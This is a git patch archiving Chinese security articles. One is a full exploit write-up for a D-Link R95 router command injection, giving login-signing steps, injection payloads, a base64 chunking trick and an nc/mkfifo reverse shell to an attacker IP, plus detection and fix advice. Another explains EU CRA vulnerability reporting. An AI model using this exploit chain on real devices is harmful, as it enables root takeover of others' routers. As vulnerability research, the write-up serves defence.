From 6b18317dc8375adf56ef38009589e2e44ca90aae Mon Sep 17 00:00:00 2001 From: test Date: Sun, 20 Sep 2026 15:33:08 +0000 Subject: [PATCH] =?UTF-8?q?=E6=AD=A3=E5=9C=A8=E8=8E=B7=E5=8F=96URL...=20ch?= =?UTF-8?q?ainreactors:=200=20=E4=B8=AAURL=20BruceFeIix:=202=20=E4=B8=AAUR?= =?UTF-8?q?L=20Doonsec:=2020=20=E4=B8=AAURL=20=E6=80=BB=E5=85=B1=E5=8E=BB?= =?UTF-8?q?=E9=87=8D=E5=90=8E:=2022=20=E4=B8=AAURL=20(9.1=E5=88=86)=20CVE-?= =?UTF-8?q?2026-93958=EF=BC=9AD-Link=20R95=20=E8=B7=AF=E7=94=B1=E5=99=A8?= =?UTF-8?q?=E5=91=BD=E4=BB=A4=E6=B3=A8=E5=85=A5=E3=80=81pgAdmin=20?= =?UTF-8?q?=E4=B8=A5=E9=87=8D=E8=AE=A4=E8=AF=81=E7=BB=95=E8=BF=87=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=EF=BC=9A=E4=BC=AA=E9=80=A0=20HTTP=20=E5=A4=B4?= =?UTF-8?q?=E5=8D=B3=E5=8F=AF=E5=86=92=E5=85=85=E7=AE=A1=E7=90=86=E5=91=98?= =?UTF-8?q?=E7=99=BB=E5=BD=95=E3=80=81=E7=9B=B4=E6=92=AD=E5=9B=9E=E9=A1=BE?= =?UTF-8?q?=20|=20=E6=BC=8F=E6=B4=9E=E5=88=9A=E6=8A=AB=E9=9C=B2=EF=BC=8C?= =?UTF-8?q?=E6=94=BB=E5=87=BB=E5=B7=B2=E7=BB=8F=E5=BC=80=E5=A7=8B=EF=BC=9A?= =?UTF-8?q?=E4=BC=81=E4=B8=9A=E7=9A=84=E5=93=8D=E5=BA=94=E7=AA=97=E5=8F=A3?= =?UTF-8?q?=E8=BF=98=E5=89=A9=E5=A4=9A=E4=B9=85=EF=BC=9F=E3=80=81=E4=BB=8E?= =?UTF-8?q?HTML=E6=B3=A8=E5=85=A5=E5=88=B0CSRF=EF=BC=9A=E4=B8=80=E6=AC=A1?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E7=BB=84=E5=90=88=E6=8B=B3=E5=AE=9E=E6=88=98?= =?UTF-8?q?=E3=80=81=E3=80=90=E5=B7=B2=E5=A4=8D=E7=8E=B0=E3=80=91Cisco=20I?= =?UTF-8?q?SE=20=E8=AE=A4=E8=AF=81=E7=BB=95=E8=BF=87=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=EF=BC=88CVE-2026-76460=EF=BC=89=E3=80=81CRA=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E4=B8=8A=E6=8A=A5=E5=AE=9E=E6=88=98=EF=BC=9A=E4=BB=8E=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E7=A0=94=E5=88=A4=E5=88=B024=E5=B0=8F=E6=97=B6?= =?UTF-8?q?=E6=8A=A5=E5=91=8A=EF=BC=8C=E4=BC=81=E4=B8=9A=E5=BA=94=E8=AF=A5?= =?UTF-8?q?=E6=80=8E=E4=B9=88=E5=81=9A=EF=BC=9F=E3=80=81Linux=20=E5=86=85?= =?UTF-8?q?=E6=A0=B8=E6=9B=9D=E5=9B=9B=E4=B8=AA=E6=8F=90=E6=9D=83=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=EF=BC=8C=E6=94=BB=E5=87=BB=E8=80=85=E5=8F=AF=E5=80=9F?= =?UTF-8?q?=E6=AD=A4=E8=8E=B7=E5=8F=96=20root=20=E6=9D=83=E9=99=90?= =?UTF-8?q?=E3=80=81=E6=8A=A4=E7=BD=91=E5=87=BA=E5=B1=80=E5=8D=95=E4=BD=8D?= =?UTF-8?q?=E7=9A=84RCE=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 10 +- ...3958：D-Link R95 路由器命令注入.md | 235 ++++++++++++++ ...小时报告，企业应该怎么做？.md | 300 ++++++++++++++++++ ...，攻击者可借此获取 root 权限.md | 42 +++ ...造 HTTP 头即可冒充管理员登录.md | 54 ++++ ... 认证绕过漏洞（CVE-2026-76460）.md | 41 +++ ...到CSRF：一次漏洞组合拳实战.md | 134 ++++++++ doc/2026-09/护网出局单位的RCE.md | 69 ++++ ...：企业的响应窗口还剩多久？.md | 144 +++++++++ 9 files changed, 1028 insertions(+), 1 deletion(-) create mode 100644 doc/2026-09/(9.1分) CVE-2026-93958：D-Link R95 路由器命令注入.md create mode 100644 doc/2026-09/CRA漏洞上报实战：从漏洞研判到24小时报告，企业应该怎么做？.md create mode 100644 doc/2026-09/Linux 内核曝四个提权漏洞，攻击者可借此获取 root 权限.md create mode 100644 doc/2026-09/pgAdmin 严重认证绕过漏洞：伪造 HTTP 头即可冒充管理员登录.md create mode 100644 doc/2026-09/【已复现】Cisco ISE 认证绕过漏洞（CVE-2026-76460）.md create mode 100644 doc/2026-09/从HTML注入到CSRF：一次漏洞组合拳实战.md create mode 100644 doc/2026-09/护网出局单位的RCE.md create mode 100644 doc/2026-09/直播回顾 漏洞刚披露，攻击已经开始：企业的响应窗口还剩多久？.md diff --git a/data.json b/data.json index 6dd6778c..911e36d4 100644 --- a/data.json +++ b/data.json @@ -26963,5 +26963,13 @@ "https://mp.weixin.qq.com/s/83nLAv_Lc7xIkIn5FF_Zmg": "Docker Mac沙箱逃逸漏洞详解", "https://mp.weixin.qq.com/s/xMF-Lu_y5PfejJAIkxLWCw": "Fortinet：Orkes Conductor 工作流平台上严重的预认证 RCE 已遭利用", "https://mp.weixin.qq.com/s/yAkS1WJ431Zx7nW5FNmv7Q": "【已复现】WordPress Click2Shell 核心预认证远程代码执行漏洞(QVD-2026-70986)安全风险通告", - "https://mp.weixin.qq.com/s/MAfOiJ0Tbpqe07_4lFlW2g": "BlindRop | 二进制漏洞中的盲注 使用二分算法测试栈溢出长度" + "https://mp.weixin.qq.com/s/MAfOiJ0Tbpqe07_4lFlW2g": "BlindRop | 二进制漏洞中的盲注 使用二分算法测试栈溢出长度", + "https://mp.weixin.qq.com/s/f2qsP8coahnqHnXQ-0z0nw": "(9.1分) CVE-2026-93958：D-Link R95 路由器命令注入", + "https://mp.weixin.qq.com/s/dYsPpa3YYDhaVa6VuKKt3w": "pgAdmin 严重认证绕过漏洞：伪造 HTTP 头即可冒充管理员登录", + "https://mp.weixin.qq.com/s/bdw-V7iIqXslZ43XfTar9g": "直播回顾 | 漏洞刚披露，攻击已经开始：企业的响应窗口还剩多久？", + "https://mp.weixin.qq.com/s/UCUVdORqv2S1VwjrztqC9w": "从HTML注入到CSRF：一次漏洞组合拳实战", + "https://mp.weixin.qq.com/s/fAylyI9RH-nJNSPd45rEog": "【已复现】Cisco ISE 认证绕过漏洞（CVE-2026-76460）", + "https://mp.weixin.qq.com/s/Gz08tZD2tmK2Sy2yPrrEMA": "CRA漏洞上报实战：从漏洞研判到24小时报告，企业应该怎么做？", + "https://mp.weixin.qq.com/s/Euc-zl-ioMRCVfYQoFNPhg": "Linux 内核曝四个提权漏洞，攻击者可借此获取 root 权限", + "https://mp.weixin.qq.com/s/Am4GMFyi-9866VOom0DZIQ": "护网出局单位的RCE" } \ No newline at end of file diff --git a/doc/2026-09/(9.1分) CVE-2026-93958：D-Link R95 路由器命令注入.md b/doc/2026-09/(9.1分) CVE-2026-93958：D-Link R95 路由器命令注入.md new file mode 100644 index 00000000..3efc4b6d --- /dev/null +++ b/doc/2026-09/(9.1分) CVE-2026-93958：D-Link R95 路由器命令注入.md @@ -0,0 +1,235 @@ +# (9.1分) CVE-2026-93958：D-Link R95 路由器命令注入 +红队安全圈 + 红队安全圈 红队安全圈 2026-09-20 12:00 + +D-Link 旗舰 Wi-Fi 7 路由器 R95 被挖出 CVSS 9.1 命令注入，利用代码已公开，注入成功直接拿 root——成因、认证机制、完整利用链一次拆透。 + +## 01  引言 + +D-Link 旗舰 Wi-Fi 7 路由器 R95（BE9500）的固件里被挖出一个认证后命令注入，编号  +CVE-2026-93958 +，CVSS 9.1，利用代码已经公开。漏洞藏在 DHMAPI（SOAP over HTTPS）接口处理 SetTimeSettings 请求的 NTPServer 字段里——这个字段未做任何过滤就被拼进 shell 命令执行，注入成功直接拿 root。这篇把成因、认证机制、完整利用链和 EXP 全部拆给你看。 + +## 02  漏洞速览 + +漏洞编号 +CVE-2026-93958 + +影响产品 +D-Link R95（BE9500） + +固件版本 +BE9500_1.00.16 + +漏洞类型 +OS 命令注入（CWE-77/78） + +危害等级 +CVSS 9.1 严重 + +利用前提 +有效 web 管理会话 + +PoC 状态 +已公开（含完整 EXP） + +影响面 +root 权限任意命令执行 + +## 03  漏洞成因 + +漏洞出在 web 管理后端二进制  +/bin/ssi +（以 root 运行），它实现了 DHMAPI SOAP 接口。 + +污染源：SetTimeSettings 处理函数（ssi 内偏移 0x6bd84）从 SOAP 请求中提取 NTPServer 字段存入栈缓冲区，长度上限 0x3f（63 字节）——注意这只是缓冲区大小限制，不是安全校验。值随后原样写入内部配置键 time.value.NTPServer，全程不过滤、不转义任何 shell 元字符。 + +污染汇：配置同步到 UCI 时，ssi 会把配置值拼接进 shell 命令字符串，通过 system() 类调用执行。二进制里能找到这样的格式串： + +uci set %s="%s" > /dev/null + +值被包在双引号里，shell 在执行拼接命令前会对值里的反引号和 $() 做命令替换。ssi 以 root 跑，注入的命令自然也是 root 权限。 + +时间侧信道证实求值发生在请求处理路径内同步完成：注入  +`sleep 10` + 会让 HTTP 响应延迟约 10 秒。被污染的值还会持久化进 UCI（ntpclient.@ntpserver[0].hostname），之后被 /bin/start_ntpclient.sh 不加引号地消费（ntpclient -s -h $HOSTNAME），这是第二个加固缺口。 + +已验证的利用约束： + +字段长度 +≤63 字节；60 过，80 拒（400） + +& 字符 +不能出现（截断命令行） + +注入语法 +反引号已验证；$() 同样有效 + +执行上下文 +uid=0(root) gid=0(root) + +输出通道 +写 web 根目录再 HTTP GET 取回 + +## 04  认证机制（API-AUTH） + +所有 DHMAPI 请求必须携带：Cookie: uid=会话cookie（登录获得）；API-AUTH 头为 HMAC-SHA256(privkey, ts+action) 的大写十六进制值加时间戳 ts；API-ACTION / SOAPAction 头与 SOAP 动作匹配，还需 User-Agent 和 Referer（缺 UA 或 Referer 返回 HTTP 400/500）。ts 是毫秒时间戳，设备不校验时效性，固定值可复用。 + +privkey 的推导流程分五步： + +1. 用静态密钥串  +withoutloginkey + 签名，发 Login / Action=request，拿回 Challenge、Cookie、PublicKey、SaltHash。 + +2. e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32))；无 SaltHash 时直接用明文密码。 + +3. privkey = 大写HEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))。 + +4. LoginPassword = 大写HEX(HMAC-SHA256(key = privkey, msg = Challenge))。 + +5. 用上面材料发 Login / Action=login，返回 success 后，后续请求用 Cookie 签 privkey。 + +## 05  利用步骤 + +第一步，登录请求拿 Challenge/Cookie/PublicKey/SaltHash（关键头如下，请求体为 SOAP Login XML）： + +POST /DHMAPI/ HTTP/1.1 + +Host: 192.168.2.254:18443 + +API-ACTION: Login + +API-AUTH: HMAC(withoutloginkey, + +  ts+"Login") + +SOAPAction: "Login" + +![登录请求](https://mmbiz.qpic.cn/sz_mmbiz_png/DdHS2WVTUoGXCvwkmdf55iaAskS218ZRAXoJ9a3lwicAMXVL0jJHAf4s8fWFxjYPAiauUeI1dwAHeXhcf3NeiaGF3I6IZYibpQT1lg28bDj4lxiao/640?wx_fmt=png "") + +第二步，正式登录建立会话，LoginPassword 按上面第 4 步计算，期望返回 success。 + +![登录成功](https://mmbiz.qpic.cn/sz_mmbiz_png/DdHS2WVTUoE2zZ6fwxPLia7Wr5oppEwLFkicuexwShRbibR3nhVu2KNIQlFUasQbk0RnHOJSppuE5dCp5e4udjicoiaFsplW9YM9licMZvL7gnBLc/640?wx_fmt=png "") + +第三步，注入命令，把输出写到 web 根目录： + +API-ACTION: SetTimeSettings + +`id > /www/m_id.txt` + + + +![命令注入](https://mmbiz.qpic.cn/sz_mmbiz_png/DdHS2WVTUoG17icxloaUac09nTbCRHku9zMbu5eMFOQPVPp5KNc10kzWKF3icQthYFzmRMTDs9Rg0Qa8jLvXZoFBxZUib7ibm7IWansXicKsJ8Do/640?wx_fmt=png "") + +第四步，取回命令输出： + +GET /m_id.txt HTTP/1.1 + +Host: 192.168.2.254:18443 + +实测响应体： + +uid=0(root) gid=0(root) + +![id 输出](https://mmbiz.qpic.cn/mmbiz_png/DdHS2WVTUoHF2hfkmpvPZC4wIQOT4zQicqoeEze8o3bWR76o7luwvxTUYiajWicoIMM6zEWMibbGIzkibr4WDxicwosH2RdZibBmYxDG9O0zlH3ia1Q/640?wx_fmt=png "") + +替代验证——时间盲注：NTPServer 填  +`sleep 10` +，HTTP 响应延迟约 10 秒；填正常 NTP 服务器名则立即返回。 + +完整利用——反弹 shell：63 字节限制可以用 base64 分片写脚本绕过： + +1. 反复发 SetTimeSettings，每次追加一片（包反引号）： + +`echo -n <分片> >> /tmp/x` + +2. 解码： + +`base64 -d /tmp/x > /tmp/rs.rs` + +3. 脚本内容（busybox ash 下管道两边必须留空格）： + +rm -f /tmp/f; mkfifo /tmp/f + +cat /tmp/f | sh -i | + +  nc 攻击机IP 4444 > /tmp/f + +4. 触发： +`sh /tmp/rs.rs` +，攻击机监听即可收到交互式 root shell（~ #，BusyBox ash）。 + +![反弹 shell](https://mmbiz.qpic.cn/sz_mmbiz_png/DdHS2WVTUoGjcum15iaibkeaqE5sSz1Yshpluzibc9rBPYI6kp8XyHia6CtT5kLgWVDGZ3fawgLBxHtEHAIE2tgXGkicCaMsl70oiaM8NMV0CB1z8/640?wx_fmt=png "") + + +## 06  PoC/EXP + +公开仓库附了完整 EXP 脚本（Python，requests 实现），核心逻辑：login() 完成三步认证握手拿 privkey 和会话，inject() 把命令塞进 NTPServer 反引号里发出，run() 对 ≤54 字节的命令直接注入并从 web 根目录读回输出，更长的命令自动切 base64 分片写入 /tmp/x 再解码执行。用法：python r95_exp.py 进交互 root shell，python r95_exp.py "id" 跑单条命令。 + +## 07  根因小结 + +1. ssi 把 NTPServer 字段（以及同一处理函数里的兄弟字段）零过滤写入配置库。 + +2. 配置同步用 system() 风格的 shell 字符串拼接，值包在双引号里，shell 会求值反引号和 $()。 + +3. ssi 以 root 运行，注入命令直接满权限执行。 + +同一代码模式在该固件里至少还有 7 个认证后注入点（TZLocation、DeviceName、DDNS 的 Hostname/Username、客户端 NickName，以及经 SetNetworkSettings 的二阶注入），全部实测 uid=0(root) 执行。 + +## 08  检测与排查 + +有 R95/BE9500 设备的，先确认固件版本是否为 1.00.16 / 1.01B06 系列；再查 UCI 配置里 ntpclient 的 hostname 有没有异常值，以及 web 根目录 /www/ 下有没有不明文件（EXP 会把命令输出落在这里）： + +uci get ntpclient.@ntpserver + +  [0].hostname + +ls /www/ | grep -v html + +## 09  修复建议 + +1. 主机名类输入字段入库前做强白名单校验（只放行 A-Za-z0-9.-）。 + +2. 弃用 system() 字符串拼接，改用 libuci API（ssi 本来就链了这个库）或不经 shell 的 exec* 系调用。 + +3. /bin/start_ntpclient.sh 里给 $HOSTNAME 加引号。 + +4. web 管理服务降权运行。 + +5. 审计并统一修复上面列出的兄弟注入点。 + +补丁方面，厂商目前还没有发布修复固件，建议尽快把设备的管理口收进内网、改掉弱口令，对外暴露的一律先断掉。 + +## 10  红队视角 + +这个洞的实战价值在三点。第一，认证后利用但不鸡肋——路由器弱口令和默认密码是现实网络里的常态，叠加设备认证逻辑里时间戳不校验、SaltHash 缺失时直接用明文密码这些宽松设计，打点成本很低。第二，输出通道教科书级：没有回显不可怕，写 web 根目录再 GET 就行，全双工交互。第三，一个注入点背后是一整类模式缺陷，同一固件 7 个兄弟注入点意味着即便厂商修了 NTPServer，也要盯紧后续版本有没有补全——挖这类设备时，找到一个 system() 拼接点就应该把所有 Set* 动作全枚举一遍。横向看，和之前一堆家用路由器 ssi/httpd 二进制里 config 值直接进 shell 的洞是同一个模子，固件分析时 grep uci set 加双引号格式串就能快速定位同类汇点。 + +## 11  实战技巧 + +1. 固件分析阶段：binwalk 解包后直接 strings 找  +uci set %s="%s" + 这类格式串，定位所有把用户输入拼进 shell 的汇点，比逆向每个 handler 快得多。 + +2. 认证绕过优先级：遇到 API-AUTH/HMAC 签名类接口，先试文档里写死的静态密钥（本例 withoutloginkey），再测时间戳是否真的校验——很多厂商实现只验签名不验时效，重放窗口无限大。 + +3. 63 字节限制别当死线：base64 分片写入 + 解码执行是嵌入式注入的通用绕法，busybox 环境记得 nc/mkfifo 组合弹 shell，管道两边留空格。 + +4. 检测批量资产：nmap 扫 18443 端口（DHMAPI 监听口）可快速圈出暴露在公网的 R95 类设备。 + +## 12  POC 链接 + +https://github.com/FoundTL/D-Link-R95-BE9500 + +https://nvd.nist.gov/vuln/detail + +  /CVE-2026-93958 + +说明：PoC 来自公开漏洞研究仓库 FoundTL/D-Link-R95-BE9500，复现环境为实验室设备，命令均为 root 权限执行，请仅在授权环境测试。 + + +如果文章对您有收获，欢迎**关注** +、点赞、推荐、转发。 + +— END — + + diff --git a/doc/2026-09/CRA漏洞上报实战：从漏洞研判到24小时报告，企业应该怎么做？.md b/doc/2026-09/CRA漏洞上报实战：从漏洞研判到24小时报告，企业应该怎么做？.md new file mode 100644 index 00000000..208d9a76 --- /dev/null +++ b/doc/2026-09/CRA漏洞上报实战：从漏洞研判到24小时报告，企业应该怎么做？.md @@ -0,0 +1,300 @@ +# CRA漏洞上报实战：从漏洞研判到24小时报告，企业应该怎么做？ +原创 唐子雄 + 唐子雄 海云安 2026-09-20 09:30 + +2026年9月11日起，欧盟《网络韧性法案》（Cyber Resilience Act，CRA）第14条规定的漏洞和严重安全事件报告义务正式适用。对于在欧盟市场提供含数字元素产品的制造商，一旦知悉产品存在被主动利用的漏洞（Actively Exploited Vulnerability，AEV） +，或知悉发生了严重安全事件，就可能进入24小时报告流程。CRA第14条同样适用于2027年12月11日前已投放欧盟市场的相关产品，存量产品也在报告义务范围内。 +为承接这一义务 +， +ENISA建设的CRA单一报告平台（Single Reporting Platform，SRP）已 +于9月11日 +正式 +投入运行 +。 + +实际发生漏洞时，企业首先面对的往往不是“去哪里填表”，而是：这个漏洞要不要报？哪些产品受影响？第三方组件已经在外部被攻击，自己的产品也用了它，是不是就必须报告？24小时又从什么时候开始算？ +这些问题若没有提前理清，最耗时的往往不是最后的SRP填报，而是产品定位、技术研判和内部决策。 + +为便于说明第三方组件漏洞的判断逻辑，文章第三部分以曾在全球造成广泛影响的Log4Shell（Apache Log4j2远程代码执行漏洞，CVE-2021-44228）为例，按照现行CRA规则，完整走一遍从漏洞发现到监管报告的过程。 + +**1** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Pic3rpoCqyn5L8xP0g0hn3uejgJnLtGlTRkVBsEkWPlDJA4R52Cq8d7CBtfT7LBrY004oaQ12of1jBgwbUib41DHJYVwtSF2CJAib6CW597dCU/640?wx_fmt=png&from=appmsg "") + +发现高危漏洞，不等于马上触发CRA报告义务 + +![](https://mmbiz.qpic.cn/mmbiz_png/Pic3rpoCqyn7L09MQF7K9dcv8Fib1icxyU8CwnoH2jFdO6IwLcxicibZwjQTmOATpz5Ty8nMviaxvGLnzQ2NIa6zWMOxhMLGgB0rI792qcfrCc1Gw/640?wx_fmt=png&from=appmsg "") + + + +CRA第14条强制报告主要针对两类情况：AEV，以及对含数字元素产品安全产生严重影响的事件（Severe Incident，SI）。本文重点讨论AEV。 + +CRA对AEV的定义强调的是实际恶意利用 +：有可靠证据表明，恶意行为者已经在未经系统所有者许可的情况下实际利用该漏洞。 +因此，发现漏洞不等于AEV， +即使渗透测试或实验室测试已经证明漏洞“可以被利用”，如果没有可靠证据证明攻击者实际利用过它，也不能仅凭漏洞严重程度把它直接认定为AEV。 + +欧盟委员会《CRA实施FAQ》第5.2条对零日漏洞也采用了同样的判断逻辑：由安全研究人员、漏洞奖励计划或受制造商委托的测试活动发现的漏洞，如果没有既往恶意利用证据，不会自动成为强制报告对象。 + +所以，判断一个漏洞是否属于AEV，首先要看：是否已有可靠证据证明攻击者曾在现实环境中实际利用过这个漏洞。 +仅有漏洞发现、PoC或实验室复现，并不足以构成AEV。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Pic3rpoCqyn7SEn2P5kIt4mGOePyMcbLiblr9Z0S0tuhFDa68rJwicy28TrmZEthaPtG7ZJzicUJH1CibIZDhwvCM6sMbmCEQosF4v3KLjU9mgRA/640?wx_fmt=png&from=appmsg "") + +【图1：CRA漏洞上报（AEV）判断逻辑】 + +2 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Pic3rpoCqyn6IrUWuc0rJftjw9HKg4jHz4ZL75OQTXQBymR7TDS6ep4Fz1AHVBBdUOibHc2siaklBibWIdha9eDkaDk4O23I4MBSJZUEeCjVaIY/640?wx_fmt=png&from=appmsg "") + +24小时从什么时候开始？ + +![](https://mmbiz.qpic.cn/mmbiz_png/Pic3rpoCqyn4JBv6ia8l8vdXbmJvLic6NJwacAom1PqicLVMHSBGh52NTFIJzObkQBAfnmw34bfNPrHduHxicxZK4ib6ZIKzRtdJYlpp5LuMicNeNY/640?wx_fmt=png&from=appmsg "") + + + +CRA第14条以制造商“知悉”（becoming aware）作为报告期限的起算点。24小时早期预警和72小时漏洞通报都从这一时点起算 +。 +本文把这个时点简称为T0 +，T0只是本文为便于讨论使用，SRP中对应的 +正式 +字段是“知悉日期/时间”（Date/Time when you became aware）。 + +CVE首次公开时间、媒体首次报道时间、SCA首次告警时间，或某位研发人员首次收到漏洞邮件的时间，不 +能机械的认定为 +T0 +， +关键要看企业实际掌握了哪些信息、完成了哪些研判。欧盟委员会2026年7月发布的CRA实施指南进一步提出 +： +制造商检测到可疑情况或收到第三方信息后，应及时开展初步评估；当其对“产品中存在AEV”形成合理程度的确定性（reasonable degree of certainty）时，即构成CRA意义上的“知悉”。 + +企业内部可以把这一过程 +拆解 +为： + +漏洞情报 → 产品关联 → 可利用性分析 → 主动利用证据研判 → 形成“产品中存在AEV”的认识。 + +最后一步形成“知悉”的时点即为T0。企业应当同步记录该时点及判断依据 +。 + +制造商 +可以 +通过多种渠道获知相关信息， +欧委会详细列举了相关渠道， +包括 +： +客户或合作伙伴通报、安全研究机构披露、政府机构通知、威胁情报、内部监控、扫描和遥测等。 + +3 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Pic3rpoCqyn4LcISAnT9zjH7yicd4OYXSSiaz1v12hcicR26WOAGCyDCouqGysCIQx8QEvYicq9xHETlU1OoQy5WZ1qgYjPMnxVo8ibrbvNTCvI2w/640?wx_fmt=png&from=appmsg "") + +以Log4Shell为例：第三方组件漏洞什么时候需要报？ + +![](https://mmbiz.qpic.cn/mmbiz_png/Pic3rpoCqyn6JfNPt4KxC5aHyDE1L0A3iccMRfun60AiakRYNV7Jv8Lrxl3yEqFsmehbjP9upwpMG39IFlFOroD7uB9tNeFYYy3u3jp9JTsUC4/640?wx_fmt=png&from=appmsg "") + + + +2021年12月，Apache Log4j2中的CVE-2021-44228被公开披露，即广为人知的Log4Shell。随后，CISA及其他安全机构确认该漏洞已经出现在实际攻击活动中。制造业同样受到影响 +， +Siemens ProductCERT于2021年12月13日发布SSA-661247安全公告， +并在公告后续版本中持续更新各产品的受影响状态、修复版本和缓解措施 +。 + +这里先说明一点 +：Log4Shell发生于2021年，当时CRA尚未实施。下面只是借助这一真实漏洞，按照现行CRA规则进行复盘式推演。 + +对第三方组件漏洞，还需要再做一层产品判断：这个已经被确认主动利用的漏洞，是否实际存在于自己的产品中，并且在产品环境中能够被利用。 +这里需要区分两个概念：“已经被利用”和“在自己的产品中可被利用” +。前者决定漏洞是不是AEV，后者决定这个AEV是否落入自己的产品报告范围。 + +1.外部已经确认主动利用，仍需判断自身产品 + + +假设今 +后 +再出现类似Log4Shell的大规模第三方组件漏洞，各国CERT等可信机构已经确认该漏洞正在被攻击者实际利用。 +这回答了AEV判断中的第一个问题：该漏洞已有可靠的恶意利用证据。 + +但对具体制造商而言，还有一个关键问题没有回答： + +这个漏洞是否实际存在于自己的产品中，并且可被利用？ + +欧盟委员会《CRA实施FAQ》第5.4条专门解释了第三方组件场景：如果最终产品集成的第三方组件存在AEV，且该漏洞在最终产品中实际可被利用，最终产品制造商同样承担报告义务；反之，如果该漏洞在最终产品的实际环境中无法利用，就不能仅因该组件正在外部遭到利用，直接认定该产品构成必须报告的AEV。所以，在“ +Log4Shell在攻击中被利用 +”和“我的产品中已存在需要报告的AEV”之间，还需要完成产品影响范围确认和可利用性判断。 + +2.快速确认哪些产品包含受影响组件 + + +此时制造商面对的第一项技术工作，是把这个组件漏洞对应到自己的具体产品上。需要快速确认：哪些产品使用了Log4j，使用的是哪个版本，该版本位于哪个软件或固件模块，以及哪些产品版本已投放欧盟市场。 + +Siemens当年的Log4Shell公告正好说明了这种现实：重大第三方组件漏洞发生后，制造商需要持续调查各产品的实际影响，并不断更新受影响状态、修复方案和缓解信息。 + +对产品线较多的企业来说，这一步直接考验产品资产清单是否清晰，以及SBOM和SCA能力是否到位。如果重大漏洞发生后，还需要让多个研发团队逐个翻代码、查依赖、找历史版本，仅仅确认产品影响范围就可能消耗大量时间。 + + 3.产品包含受影响版本，也不等于一定需要报告 + + +即使已经确认某款产品包含受Log4Shell影响的Log4j版本，还需要分析漏洞在具体产品环境中是否实际可以利用。例如，要确认漏洞代码路径是否被使用、攻击路径是否能够触达、产品配置是否满足利用条件，以及现有安全控制是否已经阻断利用。 + +这里最容易出现的误解是：CRA不是要求制造商等到自己的客户设备也出现攻击日志以后才报告。 + +如果已有可靠证据证明该漏洞在外部遭到恶意利用，同时该漏洞确实存在于自己的产品中、且在产品环境中实际可被利用，那么制造商就应当认定自己已“知悉”产品中存在AEV，并据此启动报告，而不是继续等待自家设备出现一次真实攻击 +。 + +第三方组件AEV的判断链可以概括为： + +外部已有可靠恶意利用证据→ 自身产品包含受影响组件或代码→ 漏洞在自身产品中实际可利用→ 形成“产品中存在AEV”的认识，即T0→ 启动24小时报告 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Pic3rpoCqyn7iahlQbAVuFQv2iaz5gqXia2PLlWIqPVoupahiab2ntfTYuhzQjE1viaqm5sd9syXQ2ILyMnzzhYzQiagedLSraicnaYdVCUUL03jjQQ/640?wx_fmt=png&from=appmsg "") + +【图2： +第三方组件 +CRA漏洞判断与上报流程】 + +4.进入报告流程后，调查、修复和报告要并行 + + +达到“知悉”标准后，企业应留存漏洞情报、受影响产品和版本、组件分析、可利用性分析以及内部研判记录。此时不能等所有技术调查结束后再准备监管报告。 + +CRA采用24小时、72小时和最终报告的分阶段机制， +已 +考虑到制造商在事件早期不可能掌握全部事实。第14条要求制造商在知悉AEV后24小时内提交早期预警，72小时内提交进一步的漏洞通报；最终报告则在纠正或缓解措施可用后14天内完成。因此，进入报告范围以后，漏洞调查、修复处置和监管报告应并行推进 +。 + +4 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Pic3rpoCqyn5iaSrMeScNKQ2ibzqq9UMNLVKNe5XMTQ559AVCknfWSA6kEHJRAT86qIc7ZSwZGBbUXWfEFRzStZdCzbVM43EV43tnInPuzYeTk/640?wx_fmt=png&from=appmsg "") + +进入SRP：企业需要提前准备什么？ + +![](https://mmbiz.qpic.cn/mmbiz_png/Pic3rpoCqyn6xzNibHUDwDdhyXkclOFbTgt1OzPBazXOJibCT7Rr2VhtCmUVAaJwrujOXfkTiaEmsxpLW3ovdXwX1ibEDI2jkUjwm8aQjQwPfZ8E/640?wx_fmt=png&from=appmsg "") + + + +ENISA建设的CRA + SRP +已正式运行，AEV和严重安全事件的强制报告均通过SRP提交。 + +1. Assigned Representative（AR） + + +SRP把代表制造商操作平台的人员称为平台指定代表（Assigned Representative，AR），分为Primary AR和Secondary AR两类。这一称谓很容易与CRA中的授权代表（Authorised Representative）混淆，但二者不是同一个概念：前者是SRP的平台操作角色，后者是CRA中的经济运营者角色。每家制造商只能配置1名Primary AR，最多配置20名Secondary AR；两类角色都可按各自权限提交和更新通报。 + + +2. EU Login和MFA可以提前准备 + + +SRP使用个人EU Login账号，并要求启用多因素认证（MFA）。ENISA目前建议，EU Login和MFA可以提前准备，但制造商不必为了“占坑”提前完成SRP关联验证。需要提交报告时再注册并启动验证，验证可以与报告流程并行。企业更应提前准备的是人员、账号、内部职责和管辖判断。 + + +3. 非欧盟制造商应提前确定协调CSIRT + + +制造商需要在SRP中选择正确的协调CSIRT（CSIRT Designated as Coordinator，CDaC）。对于没有欧盟主要营业地的制造商，CRA和ENISA给出了明确顺序：先看授权代表所在成员国，其次是进口商，再其次是经销商，最后才是产品用户数量最多的成员国。这个问题需要提前确认。ENISA最新FAQ明确，如果选择错误的CDaC，通报可能被判定无效，需要重新提交。 + + +4. SRP提交入口 + + +进入SRP后即可创建新的报告记录。Early Warning提交后，72h Notification和Final Report继续在同一条记录中补充，不需要为三个阶段分别创建三条独立记录。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Pic3rpoCqyn6oekyKfpMV6icvM0InfVMic5HK0bszrnDMFLoYibS23ZsI7IyRlCzcribwrkX1PJJjPbnibrVQgzEk9tUQVyuzg1RQZacxEeuYRSeQ/640?wx_fmt=png&from=appmsg "") + +【图3：ENISA SRP Submit new notification】 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Pic3rpoCqyn6p3k9GqQcCdwmZCencuyChEaRGr9D0Tic8FKnKUeaEd30dDD1Uial3b2fcUAJWytFveb4P72T4LfwZuluxGrQzFpnWuoOic8uaqs/640?wx_fmt=png&from=appmsg "") + 